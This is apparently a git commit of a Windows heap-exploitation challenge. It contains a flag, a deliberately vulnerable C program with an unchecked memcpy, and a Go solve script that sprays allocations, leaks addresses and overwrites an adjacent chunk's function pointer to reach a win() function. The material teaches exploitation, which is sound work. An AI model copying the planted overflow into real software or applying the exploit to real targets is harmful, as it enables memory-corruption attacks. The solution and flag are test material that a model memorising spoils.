v0.1 - initial commit

This commit is contained in:
2026-07-18 21:37:15 +03:00
commit 9b89f4cb8e
153 changed files with 22887 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
flag{segment_heap_adjacent_chunk_overflow}
Binary file not shown.
Binary file not shown.
+164
View File
@@ -0,0 +1,164 @@
/*
Solve script for heap_segment.exe (see src/heap_segment.c): an
adjacent-chunk heap overflow on a real Segment-Heap-backed process heap
(the target opts in via an embedded manifest; GetProcessHeap() really is
Segment Heap, confirmed in the C source's own startup banner).
Segment Heap's "Small" allocator packs same-size allocations densely into
4KB pages, but *not* in allocation order -- the offset within the page is
randomized per allocation (empirically verified while building this:
twenty sequential 32-byte allocations land all over a single page, not
back-to-back). So instead of assuming adjacency, this script leaks every
allocation's address (the target's A command happens to print it, the
same "legitimate bookkeeping output doubles as the leak primitive" pattern
as examples/heap_lfh) and searches the leaked addresses for a pair that
really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of
20 always contains at least one such pair on this machine/OS build.
Once found: id_a's name buffer is overflowable past its own 32 bytes
straight into id_b's struct, landing on id_b's `describe` function
pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's
own allocation start. The spray/pair-search loop is winpwn.SprayAndFind
(spray.go) -- the same primitive examples/heap_lfh uses for a structurally
different relation (equality against one known target, instead of a
distance check across everything sprayed).
NOTE FOR TASK AUTHORS (not specific to this task -- read this before
designing your own heap challenge): "20 always contains a pair" and the
profileSize=32 distance check are facts about *this exact struct, on this
exact Windows build*, measured empirically by spraying it for real -- not
something Segment Heap guarantees as a stable contract. Segment Heap's
"Small" allocator's packing behavior is liable to differ across Windows
versions (and possibly even across runs on heavily fragmented heaps).
Anyone reusing this adjacent-overflow approach for a different struct size
or a different machine should re-run the same empirical step this script
already does at runtime -- spray N, leak every address, check for the
expected distance -- rather than hardcoding a spray count or an offset
copied from this writeup and assuming it transfers.
*/
package main
import (
"bytes"
"fmt"
"log"
"strconv"
"winpwn"
)
func parseIDAndAddr(line []byte) (int, uint64, error) {
idIdx := bytes.Index(line, []byte("id="))
addrIdx := bytes.Index(line, []byte("addr=0x"))
if idIdx == -1 || addrIdx == -1 {
return 0, 0, fmt.Errorf("unparseable line %q", line)
}
idPart := bytes.Fields(line[idIdx+len("id="):])[0]
id, err := strconv.Atoi(string(idPart))
if err != nil {
return 0, 0, err
}
addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):])
addr, err := strconv.ParseUint(string(addrPart), 16, 64)
if err != nil {
return 0, 0, err
}
return id, addr, nil
}
const profileSize = 32 // sizeof(Profile): char name[24] + void* describe
func main() {
pf, err := winpwn.OpenPE("heap_segment.exe")
if err != nil {
log.Fatalf("OpenPE: %v", err)
}
winRVA, err := pf.GetProcAddress("win")
if err != nil {
log.Fatalf("win() not found: %v", err)
}
base, err := pf.ImageBase()
if err != nil {
log.Fatalf("ImageBase: %v", err)
}
winAddr := base + winRVA
pf.Close()
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
tube, err := winpwn.Spawn("heap_segment.exe")
if err != nil {
log.Fatalf("Spawn: %v", err)
}
readyLine, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine: %v", err)
}
fmt.Printf("[*] %s", readyLine)
// winpwn.SprayAndFind with no seed: every newly sprayed allocation is
// checked against everything sprayed before it for the one relation
// that matters here -- "exactly sizeof(Profile) apart" -- rather than
// collecting all addresses first and searching afterward.
const spray = 20
a, b, _, ok, err := winpwn.SprayAndFind(
nil,
spray,
func(i int) (winpwn.SprayResult[uint64], error) {
if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
}
resp, err := tube.RecvLine()
if err != nil {
return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
}
id, addr, err := parseIDAndAddr(resp)
return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
},
func(x, y uint64) bool {
d := int64(y) - int64(x)
return d == profileSize || d == -profileSize
},
)
if err != nil {
log.Fatalf("spray: %v", err)
}
if !ok {
log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray)
}
// match() is direction-agnostic (it only checks |distance|), so the
// attacker (the lower address -- it overflows *forward* into the
// victim) needs to be picked out by comparing the two found keys, not
// just trusting which one SprayAndFind happened to label "older".
attackerID, victimID := a.ID, b.ID
attackerAddr, victimAddr := a.Key, b.Key
if a.Key > b.Key {
attackerID, victimID = b.ID, a.ID
attackerAddr, victimAddr = b.Key, a.Key
}
fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n",
attackerID, attackerAddr, victimID, victimAddr)
// 56 bytes of filler to walk past the attacker's own 32-byte
// allocation and the victim's name[24], landing exactly on the
// victim's `describe` field (offset 24 within the victim, i.e.
// offset 32+24=56 from the attacker's allocation start).
payload := bytes.Repeat([]byte{0x41}, 56)
payload = append(payload, winpwn.P64(winAddr)...)
payloadHex := winpwn.Enhex(payload)
if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil {
log.Fatalf("SendLine: %v", err)
}
resp, err := tube.RecvLine()
if err != nil {
log.Fatalf("RecvLine: %v", err)
}
fmt.Printf("[*] overflow response: %s", resp)
if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil {
log.Fatalf("SendLine: %v", err)
}
tube.Interactive()
}
+159
View File
@@ -0,0 +1,159 @@
/*
heap_segment -- adjacent-chunk heap overflow on Windows' real Segment
Heap (not NT Heap/LFH). The process opts into Segment Heap via an
embedded application manifest (<heapType>SegmentHeap> -- see
heap_segment.manifest/heap_segment.rc, the only Microsoft-documented way
to force it for a specific image without touching machine-wide settings),
so GetProcessHeap() itself is Segment-Heap-backed: confirmed empirically
while building this example by reading the heap handle's own Signature
field (*(DWORD*)(GetProcessHeap()+0x10) == 0xddeeddee for Segment Heap,
0xffeeffee for classic NT Heap).
The bug: O (overflow) writes attacker-controlled, attacker-LENGTH bytes
starting at a Profile's address with no check that the length fits the
32-byte allocation -- a plain unchecked memcpy. Segment Heap's famous
mitigation (full physical isolation of heap *metadata* from user *data*,
see USAGE.md's walkthrough) means this overflow can never reach allocator
control structures, but it can still walk straight into whatever user data
happens to be allocated right after it in the same page -- and Segment
Heap's "Small" allocator packs same-size allocations densely into 4KB
pages, just at a randomized offset within the page rather than in
allocation order. Leak enough addresses (the A command leaks each one) and
some pair will be exactly 32 bytes apart (empirically: spray>=10 finds
one in every trial run while building this).
Protocol (one command per line, stdout unbuffered):
A <text> allocate a Profile{char name[24]; void(*describe)(const
char*);}, fills name (truncated to 23 chars + NUL), sets
describe to the real print function.
-> "OK id=<n> addr=0x<hex>"
O <id> <hex> write decode(hex) raw bytes starting at profiles[id]
(i.e. at name[0]) -- NOT bounds-checked against the
32-byte allocation.
-> "OK"
D <id> call profiles[id]->describe(profiles[id]->name).
Q quit.
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
typedef struct {
char name[24];
void (*describe)(const char *);
} Profile;
#define MAX_PROFILES 4096
static Profile *g_profiles[MAX_PROFILES];
static int g_profile_count = 0;
static void real_describe(const char *name) {
printf("profile: %s\n", name);
}
__declspec(dllexport) void win(const char *ignored) {
HANDLE hFile;
char buffer[256];
DWORD bytesRead;
printf("you just got code execution via an adjacent-chunk overflow\n");
hFile = CreateFileA("flag.txt", GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Cannot open file.\n");
ExitProcess(0);
}
if (ReadFile(hFile, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
buffer[bytesRead] = '\0';
printf("%s", buffer);
}
printf("\n");
CloseHandle(hFile);
ExitProcess(0);
}
static int hexval(char c) {
if (c >= '0' && c <= '9') return c - '0';
if (c >= 'a' && c <= 'f') return c - 'a' + 10;
if (c >= 'A' && c <= 'F') return c - 'A' + 10;
return -1;
}
/* Decodes hex into out, returns the number of bytes decoded (0 on bad input).
No length cap here -- the caller (the O command) is the vulnerable site. */
static int unhex(const char *hex, unsigned char *out, int max_out) {
int n = (int)strlen(hex);
if (n % 2 != 0) return 0;
int len = n / 2;
if (len > max_out) return 0; /* still capped by our own receive buffer, not by the target's allocation */
for (int i = 0; i < len; i++) {
int hi = hexval(hex[i * 2]);
int lo = hexval(hex[i * 2 + 1]);
if (hi < 0 || lo < 0) return 0;
out[i] = (unsigned char)((hi << 4) | lo);
}
return len;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
unsigned int sig = *(unsigned int *)((char *)GetProcessHeap() + 0x10);
printf("heap_segment ready (heap signature 0x%08x)\n", sig);
char line[1024];
while (fgets(line, sizeof(line), stdin)) {
line[strcspn(line, "\r\n")] = 0;
if (line[0] == 'A' && line[1] == ' ') {
if (g_profile_count >= MAX_PROFILES) {
printf("ERR too many profiles\n");
continue;
}
Profile *p = (Profile *)HeapAlloc(GetProcessHeap(), 0, sizeof(Profile));
if (!p) { printf("ERR alloc failed\n"); continue; }
strncpy(p->name, line + 2, sizeof(p->name) - 1);
p->name[sizeof(p->name) - 1] = 0;
p->describe = real_describe;
int id = g_profile_count++;
g_profiles[id] = p;
printf("OK id=%d addr=0x%p\n", id, (void *)p);
} else if (line[0] == 'O' && line[1] == ' ') {
int id;
char hexbuf[513];
if (sscanf(line + 2, "%d %512s", &id, hexbuf) != 2) {
printf("ERR usage: O <id> <hex>\n");
continue;
}
if (id < 0 || id >= g_profile_count || !g_profiles[id]) {
printf("ERR bad id\n");
continue;
}
unsigned char raw[256];
int n = unhex(hexbuf, raw, sizeof(raw));
if (n == 0) {
printf("ERR bad hex\n");
continue;
}
/* THE BUG: no check that n <= sizeof(Profile). */
memcpy(g_profiles[id], raw, n);
printf("OK\n");
} else if (line[0] == 'D' && line[1] == ' ') {
int id = atoi(line + 2);
if (id < 0 || id >= g_profile_count || !g_profiles[id]) {
printf("ERR bad id\n");
continue;
}
g_profiles[id]->describe(g_profiles[id]->name);
} else if (line[0] == 'Q') {
break;
} else {
printf("ERR unknown command\n");
}
}
return 0;
}
@@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings xmlns:ws2020="http://schemas.microsoft.com/SMI/2020/WindowsSettings">
<ws2020:heapType>SegmentHeap</ws2020:heapType>
</windowsSettings>
</application>
</assembly>
@@ -0,0 +1 @@
1 24 "heap_segment.manifest"
Binary file not shown.